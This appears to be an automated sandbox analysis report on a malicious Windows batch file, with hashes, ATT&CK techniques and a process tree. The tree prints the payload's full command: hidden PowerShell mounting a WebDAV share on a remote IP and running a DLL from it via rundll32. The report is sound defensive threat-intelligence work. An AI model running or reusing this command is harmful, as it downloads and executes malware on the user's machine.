4f98e7ba49d31096c6d3848c19f0489aa98c5e41eacb9203e7c4c0719b72819e

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
13/07/2024, 18:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

17409195842865131075.bat
Size

2KB
MD5

a2a836ffbdedeb365be0cb3999abd45b
SHA1

ffdbe204429c2af2a4da5f7c29f74248aaa91abb
SHA256

4f98e7ba49d31096c6d3848c19f0489aa98c5e41eacb9203e7c4c0719b72819e
SHA512

f48fa3ec28db3ac45a3590777f831ea383e8ae687b2a4c1b05b9a8616bdcd16e3aa6a19847fe6b33521e340cf9c2ee5004b2dc950b4bff0c9abff4cd6188a0f9

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4372	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4372	powershell.exe
4372	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4372	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1132	wordpad.exe
1132	wordpad.exe
1132	wordpad.exe
1132	wordpad.exe
1132	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 820 wrote to memory of 1132	820	cmd.exe	86
PID 820 wrote to memory of 1132	820	cmd.exe	86
PID 820 wrote to memory of 4372	820	cmd.exe	88
PID 820 wrote to memory of 4372	820	cmd.exe	88
PID 4372 wrote to memory of 3932	4372	powershell.exe	90
PID 4372 wrote to memory of 3932	4372	powershell.exe	90
PID 4372 wrote to memory of 3036	4372	powershell.exe	91
PID 4372 wrote to memory of 3036	4372	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\17409195842865131075.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:820
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\4249.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3932
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\4249.dll,entry
    3⤵
    PID:3036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnv3lvxd.3hq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4372-0-0x0000023C75990000-0x0000023C759B2000-memory.dmp

Filesize
136KB

Download